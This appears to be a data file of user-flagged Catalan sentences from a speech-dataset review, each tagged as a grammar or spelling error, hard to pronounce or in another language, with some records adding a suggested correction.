grammar-or-spelling La reixa frontal es va fusionar amb el capó i per donar-li un aspecte més atrevit. 5ac7bb03c3820ba5d74efe4169e2f6aadc2ed450d5cd53e34a1cf4ee65b716e7 ca grammar-or-spelling El mestre, mentre ocupa el seu càrrec, representa a l'empresa en diversos comitès benèfics. 5b6be57cd06a3eb7a08a9a9d3219f049a9a4e58fcec7f5ff34e8c30a194b6cba ca grammar-or-spelling A l'elecció del successor de M. A. Tomlinson aquell any, es va produir un altre escissió. 5c1c7f62b799e1dcdc0d1f168b2ff5917d4cfb875661fc78df1d6c0065e52ae8 ca grammar-or-spelling Ara treballa principalment amb pastels. 5bbbfd3f82142a1de527cebc4abf481699e602ad1f9152ea3e31786b273d0737 ca grammar-or-spelling Un nen en una camisa blau és la bicicleta de muntanya en una pista i la captura d'aire 5caff9e0fcfa5c6b6848eee1ed6c6139301be4c6395dde4cbf932e69a016cd35 ca grammar-or-spelling Una vista a per mitjà del Google Street View d'una barca navegant es troba aquí. 5cab01e461222b9d3a9d8ade44797329bd0eb15baa9914d74c5cfdd7060d1526 ca grammar-or-spelling No obstant això, la controvèrsia va ser prou significat com per a que renuncies a la seva cartera. 5dd3435e8ef92356f60456d51fd66c6381147be1c9e7f1f68558fb8ea840608f ca grammar-or-spelling S"assembla a un depòsit a termini o a termini fix com es coneix a altres països. 5dedf115d51ecc775037697f74d931f5d1e9acfc13ee472a4c26c5598b231da4 ca grammar-or-spelling La ciutat fa prendre el nom de Milà, a Itàlia. 5dd722efa20264c9056669b8685cdb350757fa7149028f4d94b304d2edcac66a ca grammar-or-spelling L'hotel adjacent de la família Dicker l'hotel també es va cremar en aquest incendi. 5e6a6af0b70402fd1dd74567baa70a65e17d3a5bffd4724aae48ee5a2f5e5b7e ca grammar-or-spelling Ara és gerent d'Stord Fotball. 5d8723888fddf6c3eb631397b3fecef7e52d31c19da6e3984a78682a59bd7ae2 ca grammar-or-spelling La se va dona, Edna, va ser una política natural i un gran actiu per a Ross. 5f73f1d5762bbb865f8b888b9f0abc8b0da0046474ae35591ae7ef9b78fe0b57 ca grammar-or-spelling Les Muntanyes de Serra Dourada estan a prop. 5f161db66c914d411b03a438688a332128de514c1f982f05f5a05226e2798c41 ca grammar-or-spelling El clan, torneig i vestíbuls l'escala també estan integrats en alguns jocs. 5ec1e217f7ac52d3433301ca97ae0b09350ac0dabf7b05fd31319d20be0f5961 ca grammar-or-spelling Els boscos són la llar d'abundant vida silvestre, incloent cérvols i ossos. 5ed96a6a1dbdd124f46a0b09762f5dfe6fbd6cefae4a41824802962b678ee8b6 ca grammar-or-spelling Luo Gan va néixer a Jinan, Shandong province. 5f1ff0952a76f029b1414e2afff8af983fc3942e0cc7bddecdb237b4fac2c789 ca grammar-or-spelling Luo Gan va néixer a Jinan, Shandong province. 5f1ff0952a76f029b1414e2afff8af983fc3942e0cc7bddecdb237b4fac2c789 ca different-language Persones alemanyes fan un sopar amb amics en la seu elegant apartament a un gratacels. 5f706fc800f6cf2d6f895def1491c7bfc11d45cdf37851b31aba38e8ab46982c ca grammar-or-spelling L'absorció del fotó te lloca d'acord amb la teoria quàntica de Planck. 5fdb0bffd95ba6022d2e129bd2bb8db6531e45b2ce9b863df643eb0e91469979 ca grammar-or-spelling Ma morir a Graz, Àustria. 602c9683b7ad58c5f2e1ba57b0e7b0ac58fc971ae8b59e968bd13f8161e2c280 ca grammar-or-spelling La tensió política resultant i les disturbis racials amenacen el trencament de Los Angeles. 615f4f0d4862954ba2265b32a2de6d849bf7e6710493e431c0c0895537355d40 ca grammar-or-spelling L'absorció del fotó te lloca d'acord amb la teoria quàntica de Planck. 5fdb0bffd95ba6022d2e129bd2bb8db6531e45b2ce9b863df643eb0e91469979 ca grammar-or-spelling Aquesta llengua va tenir influir de manera significativa el francès antic. 60e792e9c360d90c7f7fd57628aaecb9452271e2b2b39f1ac70c82177d4120f0 ca grammar-or-spelling Va guiar l'exèrcit travessant el Po utilitzant el pont el pont que ell mateix va construir a Bugno. 628e2e98d31b6ff997d80e73aaa17c010cf5e78dd9b9428d2631854cf16bdec5 ca grammar-or-spelling Afortunadament per a nosaltres, el nostre sol en seguirà per aquí durant uns quants milers de milions d'anys. 614c3496720b77d266b24bba9a849df1712d13f2b99ea609f3e016dede6ec251 ca grammar-or-spelling A mida que va creuava el carrer, un cotxe la va colpejar i li va provocar lesions quasi mortals. 62e3b224a4709fd4c1e1c52ac3ab7d8619f5512f3a9f21235d61940f16117f32 ca grammar-or-spelling Va guiar l'exèrcit travessant el Po utilitzant el pont el pont que ell mateix va construir a Bugno. 628e2e98d31b6ff997d80e73aaa17c010cf5e78dd9b9428d2631854cf16bdec5 ca grammar-or-spelling Un violinista d'habilitat tècnica excepcional, Francescatti va tocat tots els grans concerts. 632865096ec6b9e959e08086c819f2f1db59c10ad73eb31a83cf05aa21a21bf6 ca grammar-or-spelling Un jugador de futbol es prepara per sacar un córner. 635aaa90094900128628bf086cec8a837b2fddc900fd885ef1ec66881d37f658 ca grammar-or-spelling Un petit cadell negre i marró està mirant fins 6374faabdef56d893dc923e3a8c2ddfb04008e611c1cd36c653fce2273353fe9 ca grammar-or-spelling Qui viu a la jardins d'Ana Figuera número vint-i-sis? 013cdbdc82f9694d0f123ce48db3549f7c6d622c281b422d530a31a02266a72c ca grammar-or-spelling Com es fa per anar del passatge d'Aragó a la jardins de Maria Soteras Mauri? 019a6f51e23ac1a819495f78223e513004ea4262090ff47d1f306edf9ca21cbf ca grammar-or-spelling Què venen al carrer del Concili de Trento número vuitanta-u? 022861dafdf9abb59956e3aa73f5c0bc6ac24567121d05baca3f0419a1806172 ca grammar-or-spelling Com es fa per anar de la passatge del General Bassols a la plaça d'Alfons el Savi? 03ac21912d82d0b2a729d829695ab2dd7692a6f832e811f1e023d8dcc926acf2 ca grammar-or-spelling Què sembla que volia aconseguir Pilat fent abans del pronunciament de la sentència? 043c09b20f4494519698ddbe8088e7fb5a77f51b5bd7a10a0a5ab3468e5350f7 ca grammar-or-spelling Vull anar al passatge d'Irlanda amb trasport públic. 04bdbd657c2d43b76c3a2ebe3cf3d9add06279fcd5d39045e2cbbe94e9b1b576 ca grammar-or-spelling Com ho puc fer per anar a Piera amb trasport públic? 04ffd401dde1160fa99522e8add341353c030b4838d08de6407ee8faeaf77697 ca grammar-or-spelling Com es fa per anar de la passatge del General Bassols a la plaça d'Alfons el Savi? 03ac21912d82d0b2a729d829695ab2dd7692a6f832e811f1e023d8dcc926acf2 ca grammar-or-spelling Com puc arribar a Tarroja de Segarra amb trasport públic? 0466e76607c8bb1de18f072073f0f4a68dababf7003441468b56ee93f421f47c ca grammar-or-spelling Mira'm quina és la millor manera d'anar a Pedret i Marzà amb trasport públic. 060236d1e9596927ff955da27f02f5f32ad3e9a27e3962afc05d16c70792b402 ca grammar-or-spelling He d'anar a la plaça del Cementiri d'Horta amb trasport públic. 005febd86efe7bd70d643630ce220e4c06e878ae2bddc5d396e0c2f30cb022fa ca grammar-or-spelling M'agradaria anar a Josa i Tuixén amb trasport públic. 05982e7cbd8a6a06464beeb1e83a1e5c12b776a75c049b9e6df5ff86b703fa41 ca grammar-or-spelling He d'anar a Brunyola i Sant Martí Sapresa amb trasport públic el disset d'octubre a les onze. 0598e95ae84eb44dbbb5c6c6fb85b08f21e645ca1bf718995e054b7a84976681 ca grammar-or-spelling Vull anar al passatge d'Irlanda amb trasport públic. 04bdbd657c2d43b76c3a2ebe3cf3d9add06279fcd5d39045e2cbbe94e9b1b576 ca grammar-or-spelling Per a quina església va ser Adoració dels pastors? 063d7594f13a66eac723e12c3bd0e9a35d8cf06209b225b5887b80cde1f9945b ca grammar-or-spelling Com ho puc fer per anar a Soses amb trasport públic? 05b77ff3df91a26536403f129b6e05e95bed139ed8f36d934b3d9b7a911f96fa ca grammar-or-spelling Vull anar a Gandesa amb trasport públic. 05666f9653b64c832cb12f49bdadebee8d7b78e03303285e2d3d24218b7de0da ca grammar-or-spelling Mira'm quina és la millor manera d'anar a Pedret i Marzà amb trasport públic. 060236d1e9596927ff955da27f02f5f32ad3e9a27e3962afc05d16c70792b402 ca grammar-or-spelling He d'anar al carrer de la Mare de Déu de Port amb trasport públic. 06579b4d764b985a29b775a85165bd2beb38c74541158d14751063c4d111622d ca grammar-or-spelling Com ho puc fer per anar a Soses amb trasport públic? 05b77ff3df91a26536403f129b6e05e95bed139ed8f36d934b3d9b7a911f96fa ca grammar-or-spelling M'agradaria anar a Bellmunt d'Urgell amb trasport públic. 063e3d25303c65d9115932369f6cb6fcaa7db1eb25cb8a556114b5842e6ba725 ca grammar-or-spelling He d'anar al carrer de la Mare de Déu de Port amb trasport públic. 06579b4d764b985a29b775a85165bd2beb38c74541158d14751063c4d111622d ca grammar-or-spelling M'agradaria anar al carrer de l'Àrtic amb trasport públic. 03caeb39525fbcb5091d6925fb8ec25612d17be15326898c8df766d4f8369d90 ca grammar-or-spelling Vull anar a Gandesa amb trasport públic. 05666f9653b64c832cb12f49bdadebee8d7b78e03303285e2d3d24218b7de0da ca grammar-or-spelling Què sembla que volia aconseguir Pilat fent abans del pronunciament de la sentència? 043c09b20f4494519698ddbe8088e7fb5a77f51b5bd7a10a0a5ab3468e5350f7 ca grammar-or-spelling He d'anar a Brunyola i Sant Martí Sapresa amb trasport públic el disset d'octubre a les onze. 0598e95ae84eb44dbbb5c6c6fb85b08f21e645ca1bf718995e054b7a84976681 ca grammar-or-spelling Quina és la millor manera d'anar a Serra de Daró amb trasport públic? 08ff2653c9a518be12dd952f71abf64574ab81ea697619e7e550a784c09c1328 ca grammar-or-spelling M'agradaria anar a Bellmunt d'Urgell amb trasport públic. 063e3d25303c65d9115932369f6cb6fcaa7db1eb25cb8a556114b5842e6ba725 ca grammar-or-spelling M'agradaria anar a Sant Martí de Tous amb trasport públic. 070417cc61ae136f8e821789960084e9e68d285ba3e340e1aa5202ac1aa026e3 ca grammar-or-spelling He d'anar a la placeta del Pedraforca amb trasport públic. 083a6dfe51ff95eca970b8a7ae76e75091b9e83003f473d8e7713dea822e8a84 ca grammar-or-spelling Mira'm quina és la millor manera d'anar a Granyena de les Garrigues amb trasport públic. 08a9c38930227453f0df00edf65ed31d95729585358b795e21e75d55604cced7 ca grammar-or-spelling Què sembla que volia aconseguir Pilat fent abans del pronunciament de la sentència? 043c09b20f4494519698ddbe8088e7fb5a77f51b5bd7a10a0a5ab3468e5350f7 ca grammar-or-spelling M'agradaria anar a Bellmunt d'Urgell amb trasport públic. 063e3d25303c65d9115932369f6cb6fcaa7db1eb25cb8a556114b5842e6ba725 ca grammar-or-spelling He d'anar a la placeta del Pedraforca amb trasport públic. 083a6dfe51ff95eca970b8a7ae76e75091b9e83003f473d8e7713dea822e8a84 ca grammar-or-spelling M'agradaria anar a Sant Martí de Tous amb trasport públic. 070417cc61ae136f8e821789960084e9e68d285ba3e340e1aa5202ac1aa026e3 ca grammar-or-spelling Hi ha algun lampista a la jardins d'Elvira Farreras Valentí? 08c5f78ce48a53d0a65deba314425d3897e62cb31820daea9b2df8e89e348ab1 ca grammar-or-spelling M'agradaria anar a Vallclara amb trasport públic. 075332cae6577c35ade6c60b64d12c4de44b407c8912c18cb91b14bb8df82003 ca grammar-or-spelling He d'anar a Sant Joan de Vilatorrada amb trasport públic demà a les cinc. 0960302a4df08de1529522759c340aa7e359165a3c7c70845e6d013584fbe99e ca grammar-or-spelling Quina és la millor manera d'anar de la jardins d'Elena Maseras al carrer de les Cabres? 088159475a75aeafa0d63bb5e16797d20abb7d34639e1c0a2442c437219b42ce ca grammar-or-spelling M'agradaria anar al passatge de Vicent Martín amb trasport públic. 0a6237778321589e56df47b8b279088215eec401f151468e2599d6aaa37bcda0 ca grammar-or-spelling Hi ha algun lampista a la jardins d'Elvira Farreras Valentí? 08c5f78ce48a53d0a65deba314425d3897e62cb31820daea9b2df8e89e348ab1 ca grammar-or-spelling El meu fill és Cassandra Hernán. 07b11ccf7a5dd2928fb8985318f83b5631c3a75cbb9a881cd27397fe3314aee7 ca grammar-or-spelling Quina és la millor manera d'anar de la jardins d'Elena Maseras al carrer de les Cabres? 088159475a75aeafa0d63bb5e16797d20abb7d34639e1c0a2442c437219b42ce ca grammar-or-spelling Com puc arribar a Cabra del Camp amb trasport públic? 0c6295e5c4ef1c7b6e83b7eacb11eafe0e52ef8537a8a5dbde9100a50fd5c151 ca grammar-or-spelling Mira'm quina és la millor manera d'anar de la passatge de la Primavera al carrer del Doctor Pi i Molist. 0a3a47eb13523283eb5ec0c7647c656666daad874e5d591110978b1968b8ac8a ca grammar-or-spelling Molts nens de l'Eixample dret no obtindran plaça a una escola pública. 0e76f146b340a765af1f8e69e20dba45f01e9edd1ff7cca796e732805dcbc1fc ca grammar-or-spelling Mira'm quina és la millor manera d'anar de la camí de Santa Creu d'Olorda a Vallvidrera al passatge del Doctor Torres. 0e765d467f49d1d65e01c2d748e25f5ce9eb47908e2d3189cc481c0e8733e9b3 ca grammar-or-spelling He d'anar al carrer de la Lleona amb trasport públic. 132d4b4d95a4a4f6e1327ff5e14ad813846263f4be0083cd46af964c79857588 ca grammar-or-spelling Mira'm quina és la millor manera d'anar de la passatge de Josep Llovera al carrer de Celrà. 130aafdbcb95dec13758e9842fc1b6f0ae6f4ac322bc648024e674ace38a2340 ca grammar-or-spelling Mira'm quina és la millor manera d'anar de la camí de Santa Creu d'Olorda a Vallvidrera al passatge del Doctor Torres. 0e765d467f49d1d65e01c2d748e25f5ce9eb47908e2d3189cc481c0e8733e9b3 ca grammar-or-spelling He d'anar al carrer dels Encants Vells amb trasport públic. 102c1127f1dc14b897ac3b68df417bcd1a6e6244b704ae599c6b84c7c6a20f07 ca grammar-or-spelling De tanta llàstima, li varen ensenyar de menar carro. 06be16c874c85132cd07d4a93222df9f1465a60e222a1ec04ff5d355c1a86474 ca grammar-or-spelling He d'anar a Sant Boi de Lluçanès amb trasport públic divendres a les nou. 14b0e3cffb5ca45e73bd10ee3c0605249fbc9326eb753e354b8c1750a73ad5c8 ca grammar-or-spelling Mira'm quina és la millor manera d'anar de la passatge de la Primavera al carrer del Doctor Pi i Molist. 0a3a47eb13523283eb5ec0c7647c656666daad874e5d591110978b1968b8ac8a ca grammar-or-spelling Què utilitzen les granotes i salamandres per caçar presses ràpides? 1779ece593164c22fe1f136832b360611c826f636ce57dc3d3e5cf9a2d2ff425 ca grammar-or-spelling Mira'm quina és la millor manera d'anar a Sitges amb trasport públic. 18cc204e5bb6f650b79391504d9f4a7fad964c1a897edaedc9a9a625a9813325 ca grammar-or-spelling Vull anar a la viaducte de Vallcarca amb moto. 1c79d121d8baa1f89da28959767c0dfebd29d33eb9aec1a5fba7631633fb5dcd ca grammar-or-spelling Afegeix a l'agenda el número de l'Eire Del Caño: sis, disset, vuitanta, zero, u, trenta-dos. 29ba8c612e2dbfc29f7787f44bd9df183b965b0aef3cf9ae49bf1de120b7a56a ca difficult-pronounce Afegeix a l'agenda el número de l'Aya Eraso: sis, cinquanta-set, quaranta-u, setanta-set, setze. 2a58908865105a9ba398e06187e9dcf1ed4a99b033a1a4c17b2ab09a4d30dae4 ca difficult-pronounce Un assaig clínic proporciona resultats encoratjadors. 2a7ac6d0a17850e590e59917dee1bcb75f2f0658a66d1d4e886c4f9e31c1bdaf ca difficult-pronounce Sí, mort… Un cavall l'ha potejat. 2b03a8a77bda1e74456eb0fd19e1db5d8af1a275a9f7346584778b38f46b9e68 ca difficult-pronounce El meu número es el sis, seixanta-set, noranta-cinc, zero, vuit, catorze. 2b06809038f6214695fd7077e6507c8c9b632d23b9dfa1689a9d31d6095974dc ca grammar-or-spelling Llavors li entrava aquella estrany rancúnia 159422037599c5f9be990b998891f3169e22cb81606dc80ed0ec360caa20d184 ca grammar-or-spelling Quina és la millor manera d'anar de la passatge de Prunera al passatge de Ros? 2ea14ff9aa1363f8b74bdf4bfc5c1e07825a104c1fb5683b136343a1849ac027 ca grammar-or-spelling Qui van signar el pacte nuclear? 2bd0fa742e6fef6d5b9056c524ae5d5a6b73d872d490b906beb5e5a8f12b910a ca grammar-or-spelling Qui podrien ser dels dos homes i les dues dones que llegeixen? 2fa1337c5aea1b3b088b691d6670dab352e2ec91d7e20a00a92eac1b89d97f69 ca grammar-or-spelling Vull anar a Vilanant amb trasport públic. 3027101ad7dffacc08453c0561cb0265f8aec6b773865eadc846af881d8219f8 ca grammar-or-spelling Han carregat un castell de tres per quatre amb folre i manilles. 304572199de8bad985dc19b14a11d685d14d0073e0733b960ce35646b8cc3f8c ca grammar-or-spelling Com es fa per anar de la passeig de l'Escullera al carrer de Sèneca? 345ef29326582585a4095c02e311a715a6dca1a64f403e20617fd4565bb7d94a ca grammar-or-spelling Guarda el sis, seixanta-cinc, setanta-vuit, quaranta, noranta-nou com a telèfon de la Damià Sureda. 344c7fa4a84462d2a09ebcda8c57d5a5068136949dcc334aa02ebd7867261200 ca grammar-or-spelling Quan cessarà Ryanair les activitats en Girona? 33db2a981b2cb7efe188153725672c90c1aa9ae29f62ff347170247eab1fd24d ca grammar-or-spelling Qui recolza la repressió judicial contra l'independentisme? 3a51ca4b5c2306614a2a6a232f244f172e02bcc03b9978a3d6a7d7ac39943df3 ca No és “recolza” sinó “dona suport” Així no he destar pendent d'una i l'altra, i ho tinc tot junt. 39c37ec82d8e29ce49d8ae2345e00e56d968b87a5291ae09e6d0e3f08d2ae42d ca grammar-or-spelling He d'anar a la jardins d'Elena Maseras a peu. 37517a5a3c710fce879101cebbbe16f2ea815456efe01dad55daf354e92032eb ca grammar-or-spelling Hauria d'anar a la jardins d'Elvira Farreras Valentí número trenta-u. 3e8228c4dd50c74d5629df1a4e98ffa7b3cd431c98edf0f279236253c5a7a18a ca grammar-or-spelling Com es fa per anar de la parc Forestal de la Budellera al camí del Pebràs? 4148b884c44afa900307cc644b05895b4a0d89654eb0c4348d215a026e48c8ed ca grammar-or-spelling Com es fa per anar de la parc Forestal de la Budellera al camí del Pebràs? 4148b884c44afa900307cc644b05895b4a0d89654eb0c4348d215a026e48c8ed ca grammar-or-spelling Com es fa per anar de la parc Forestal de la Budellera al camí del Pebràs? 4148b884c44afa900307cc644b05895b4a0d89654eb0c4348d215a026e48c8ed ca grammar-or-spelling Quin és el camí més curt per anar al espigó del Gas número vint-i-dos? 43da4af63d6abaea5ecc637a105e8fab889f558669733da2878a1688e15e118c ca grammar-or-spelling On va arrencar un vehicle policíac amb un manifestant al capó? 43b7b327593fdc6bcb2efc0a592e891f4dd25e712424583d1b15305551f224c9 ca grammar-or-spelling On puc trobar!? 4422ff3d3002fceafd75ff2cc7e58279a406415385f9c47462df499ab120501a ca grammar-or-spelling Posi'm una mà, si us plau, i un cafè. 497d7f170e3b21c0fdf4a34527630f47c578f9a1f0e53b6c91d202815b1f66b1 ca grammar-or-spelling El meu número es el sis, noranta, vuitanta-u, trenta-u, cinquanta. 49dd9c3bc403c1228c0ffc23dc20a296a3062e18f5f7f59873f7b606e7ba2e23 ca grammar-or-spelling Pera entornar-se'n desseguida no valia la pena de venir 533b784618dc9c29ee02225594ece6f65cde4586ad8b8b729e1ddbf2b881ee4a ca grammar-or-spelling Al lluny vèiem la nostra «posició» al cim d'una ferradura 12ebbafe5b6ddd5a1bfaed76b55b4cb422a308b6d2d68bdd757784a3233a29e4 ca grammar-or-spelling Això probablement ha produït una impressió errònia. no era exactament un uniforme. 542a9cd8adb1e8db8413c38c3d04b79dba43e1f753f7d7afef6273c72170ef51 ca grammar-or-spelling dissabte he d'anar a Riells i Viabrea amb autobús. 53993974fe4dbd85c01c31de614e1cb954cbce558f8281792f5c614ba875bf95 ca grammar-or-spelling Els sondejos donaven moltes opcions a la candidatura de Da Silva 53e4b8ff7f7d07e4753a7de4cefc122008ca88732cf4090d7e89ad219f73cef3 ca grammar-or-spelling El meu fill es diu José antonio: jota, o, essa, e amb accent tancat, espai, a, ena, te, o, ena, i, o. 53507b3f0b2b4fe7d6d2ecade963f451d6d5b572261bd64e9c64b043672b8a26 ca grammar-or-spelling Ni feien ganes de tenir-los, ni eren prou passats pera llençar-los. 0143ce9dedf8d543d3c84ff76e97e9bd922b6facdf90a2d1491c43bc10439e8b ca grammar-or-spelling Ella el teixit de l'aranya, tant espès, que no s'escapava una mosca. 210c2c878acb00d64b1261225800eafaf6921fc394c8ff4ed8f294e09d2b141a ca grammar-or-spelling Quan havien corregut, tornaven a corre 599db135d281d885938303d64befbf3f405baf01b7a8ad2c6b57c5e28a89cbc1 ca grammar-or-spelling Quan havien corregut, tornaven a corre 599db135d281d885938303d64befbf3f405baf01b7a8ad2c6b57c5e28a89cbc1 ca Correcció: Quan havien corregut, tornaven a córrer Em dic Maryam Rodriguez: erra, o, de, erra, i, ge, u, e, zeta. 59c40c10543c6838c4d4120bf3b4e060ed4e8722736c451903515dcf899b2f77 ca grammar-or-spelling Em dic Maryam Rodriguez: erra, o, de, erra, i, ge, u, e, zeta. 59c40c10543c6838c4d4120bf3b4e060ed4e8722736c451903515dcf899b2f77 ca Correcció: Em dic Maryam Rodríguez: erra, o, de, erra, i, ge, u, e, zeta. El meu pare es diu Drac Monzo: ema, o, ena, zeta, o. 5b7a561ab8711796810f8f40c062f222f907e2854ecc7370d6da3558022778cf ca grammar-or-spelling El meu pare es diu Drac Monzo: ema, o, ena, zeta, o. 5b7a561ab8711796810f8f40c062f222f907e2854ecc7370d6da3558022778cf ca Correcció: El meu pare es diu Drac Monzó: ema, o, ena, zeta, o amb accent tancat. Apunta a l'agenda el número de l'Inès Albiol: sis, vint-i-set, vuitanta-u, vuitanta-vuit, noranta-vuit. 5aed1c3ae48a801e5b30eff9ed643314443a6bad7030d688e98a9c5f3942ce39 ca grammar-or-spelling Apunta a l'agenda el número de l'Inès Albiol: sis, vint-i-set, vuitanta-u, vuitanta-vuit, noranta-vuit. 5aed1c3ae48a801e5b30eff9ed643314443a6bad7030d688e98a9c5f3942ce39 ca Correcció: Apunta a l'agenda el número de la Inès Albiol: sis, vint-i-set, vuitanta-u, vuitanta-vuit, noranta-vuit. Quin és l'única estàtua que ha estat conservada? 5b5e11cb0d823b0b18a12472621486ad432f4de5691b7ce2eaf896e8b9135ebb ca grammar-or-spelling Quin és l'única estàtua que ha estat conservada? 5b5e11cb0d823b0b18a12472621486ad432f4de5691b7ce2eaf896e8b9135ebb ca Correcció: Quina és l'única estàtua que ha estat conservada? Com si volguessin repartir-se'ls cops que rebrien 5a62caa7e1a020c0727609fa3cdf33f440c84a80a9904e561cb1625e349fe6d3 ca grammar-or-spelling Com si volguessin repartir-se'ls cops que rebrien 5a62caa7e1a020c0727609fa3cdf33f440c84a80a9904e561cb1625e349fe6d3 ca Correcció: Com si volguessin repartir-se els cops que rebrien Com les cuinen les patates? 5ac64396ecf4bacb58fbcd5bd3dad6085f3d11814551674cd3625d078615dae5 ca grammar-or-spelling Què es fa servir de plantilla? 5b0c3c00e7dec5d9eb1e6d768061984f6a899c324ae2348643d263258fa94ff5 ca grammar-or-spelling Què es fa servir de plantilla? 5b0c3c00e7dec5d9eb1e6d768061984f6a899c324ae2348643d263258fa94ff5 ca Correcció (vigileu l'script perquè totes les instàncies contenen la mateixa errada!): "amb traNsport públic?" Com puc arribar a Sant Martí Sarroca amb transport públic? Es clar que no era un treball fi, ni decoratiu 5b557cd474961520cf51164add80ad073251a5c3c9dffcf42231c89b620e2483 ca grammar-or-spelling Es clar que no era un treball fi, ni decoratiu 5b557cd474961520cf51164add80ad073251a5c3c9dffcf42231c89b620e2483 ca Correcció: És clar que no era un treball fi, ni decoratiu Telefona a la Thaís Tarrega. 5bdda26c5df852c6ac848eee6d4df6639d5983acd3bc0da3cb706b43d3bd31a6 ca grammar-or-spelling Telefona a la Thaís Tarrega. 5bdda26c5df852c6ac848eee6d4df6639d5983acd3bc0da3cb706b43d3bd31a6 ca Correcció: Telefona a la Thais Tàrrega. Ningú signarà un contacte d'una durada superior als tres mesos. 5aaa3e88cddf9d8a7b7d4f7056756d583b14a15d7051bfe5378aa70b7d548025 ca grammar-or-spelling Quan havien corregut, tornaven a corre 599db135d281d885938303d64befbf3f405baf01b7a8ad2c6b57c5e28a89cbc1 ca grammar-or-spelling M'agradaria anar a Copons amb trasport públic. 5b7767435bba899419383ae9ff0fa2c244af0e4c8fd0bf4e17d6bd48a0487080 ca grammar-or-spelling Qui pressiona a Ada Colau? 5d8ee41eec2377c75ada3b8aef402d1d772a59ff3f0986e66173065186fe5cdf ca grammar-or-spelling Qui pressiona a Ada Colau? 5d8ee41eec2377c75ada3b8aef402d1d772a59ff3f0986e66173065186fe5cdf ca Correcció: Qui pressiona Ada Colau? Quan passa l'autobús per el Montmell? 5d880a0350444cb8ba56938521636076169c41483a31b7992fa960fe86155918 ca grammar-or-spelling Quan passa l'autobús per el Montmell? 5d880a0350444cb8ba56938521636076169c41483a31b7992fa960fe86155918 ca Correcció: Quan passa l'autobús pel Montmell? Què li sembla a primera sessió de la tarda? 5d8a6d717c5ddd6e24f6be5bba27c43ca7be27d5604b03eead96cf7fbf78c966 ca grammar-or-spelling Què li sembla a primera sessió de la tarda? 5d8a6d717c5ddd6e24f6be5bba27c43ca7be27d5604b03eead96cf7fbf78c966 ca Correcció: Què li sembla la primera sessió de la tarda? Qui viu al espigó de la Mar Bella número setanta-quatre? 5d8ae2f2a3134710c948b180251ddb136e5b4d240705472d3cf0cd36ae34c098 ca grammar-or-spelling Qui viu al espigó de la Mar Bella número setanta-quatre? 5d8ae2f2a3134710c948b180251ddb136e5b4d240705472d3cf0cd36ae34c098 ca Correcció: Qui viu a l'espigó de la Mar Bella número setanta-quatre? Què tenia annex l'església dedicada a sant Lli? 5c905a192323be493bd96cc233bb11d883fdcf59828d93c290a7f83478ef5e08 ca grammar-or-spelling Què tenia annex l'església dedicada a sant Lli? 5c905a192323be493bd96cc233bb11d883fdcf59828d93c290a7f83478ef5e08 ca Correcció: Que tenia annex l'església dedicada a sant Lli? El que passava a dalt era molt serio 6135e6b6f4dafef093084a221d9093035aca5afb2f87f7f1844cf1fc687b29af ca grammar-or-spelling Avui al vespre no engeguis la tele. 5fc86fd4c24d9beb096257f7fdf4519868a3452a8fe52213034d43c79fce9337 ca Em diu que l'enregistrament és curt. Senyora en vestit curt caminar a la vorera 63d5012bb951a41a970c29a62e84a69c92bc06e979b2827936870fdbccfa6874 ca Redactat erroni. El govern valencià contracta al marit d'una consellera 632df37737ddc9a8e510d464794bf8613524fe1ddd621083ed5ddffb5a2a26d7 ca grammar-or-spelling El govern valencià contracta al marit d'una consellera 632df37737ddc9a8e510d464794bf8613524fe1ddd621083ed5ddffb5a2a26d7 ca CORRECCIÓ: El govern valencià contracta el marit d'una consellera Quin altra malaltia va aparèixer reiteradament? 6425978309a7f603703820527c8a28cda4cfb0863f9ce4a1eb5d2c14b03cf58d ca grammar-or-spelling Quin altra malaltia va aparèixer reiteradament? 6425978309a7f603703820527c8a28cda4cfb0863f9ce4a1eb5d2c14b03cf58d ca Quina altra malaltia va aparèixer reiteradament? Aviat es va convertir en membre del personal setmanal y, més tard, en editor. 64532b8fe5a0f30d000d16df356d8936ce2a1e60648a3a4c2219f5f09e244048 ca grammar-or-spelling Aviat es va convertir en membre del personal setmanal y, més tard, en editor. 64532b8fe5a0f30d000d16df356d8936ce2a1e60648a3a4c2219f5f09e244048 ca Aviat es va convertir en membre del personal setmanal i, més tard, en editor. Hola bones, us escric perquè m'agradaria reservar una caravana per cinc dies. 63c4e2dc8d65aca75be47b5b209a9007a87875c8f4a5cb3b08788f10030828aa ca grammar-or-spelling Aquestes són dues rutines que recuperaven las rutines de llenguatge de màquina que s"havien desat a la memòria. 63de690307273dfa19d0b65cb120141510b6579fb359388b6c97e69ee047c93c ca grammar-or-spelling Continguts inclouen: Robert Mapplethorpe, Margret Urlich, Michael Jackson, John Adam. 64897bbf699cee66f0c63156e864026b9ae66334a4f3dfda91f330eddea65b90 ca different-language Continguts inclouen: Robert Mapplethorpe, Margret Urlich, Michael Jackson, John Adam. 64897bbf699cee66f0c63156e864026b9ae66334a4f3dfda91f330eddea65b90 ca difficult-pronounce Històricament, el nom també s'ha lletrejat "Lexvigen" o "Leksviken". 64467fa016e2e9f3805787b4cc7a19cc3d373b81236841c5f0b8c340b99726dc ca difficult-pronounce Històricament, el nom també s'ha lletrejat "Lexvigen" o "Leksviken". 64467fa016e2e9f3805787b4cc7a19cc3d373b81236841c5f0b8c340b99726dc ca ambigu en la pronúncia Aquestes coves de gel es concentren prop de Sam"s Point al nord de Shawangunks. 64508f1eb856ab82fa00b8c77c6002682b951a7b45e7fee7f408a0cf3d9c6d96 ca different-language Aquestes coves de gel es concentren prop de Sam"s Point al nord de Shawangunks. 64508f1eb856ab82fa00b8c77c6002682b951a7b45e7fee7f408a0cf3d9c6d96 ca difficult-pronounce La Ligue va estar involucrada en moltes protestes antisemites i anti-dreyfusards durant l'afair Dreyfus. 6480ad2127d33e84de6c917eb8b3a16f44389624924fa4614e1675d750634c19 ca grammar-or-spelling La Ligue va estar involucrada en moltes protestes antisemites i anti-dreyfusards durant l'afair Dreyfus. 6480ad2127d33e84de6c917eb8b3a16f44389624924fa4614e1675d750634c19 ca La Ligue va estar involucrada en moltes protestes antisemites i anti-dreyfusards durant l'afer Dreyfus. El castell el va dissenyar James Franklin Fuller amb l'ajuda d'Ussher Roberts. 649a43f930a41abff6224f8c75b54d7b2d887e39a6e8743f2445dbfabd2612e5 ca different-language El castell el va dissenyar James Franklin Fuller amb l'ajuda d'Ussher Roberts. 649a43f930a41abff6224f8c75b54d7b2d887e39a6e8743f2445dbfabd2612e5 ca difficult-pronounce Esta segura que vol anul·lar els següents comptes? 6488caed6c7da03a0c1830f250aef87b590b9187a5f731fdd77dca02b09ec7d7 ca grammar-or-spelling Esta segura que vol anul·lar els següents 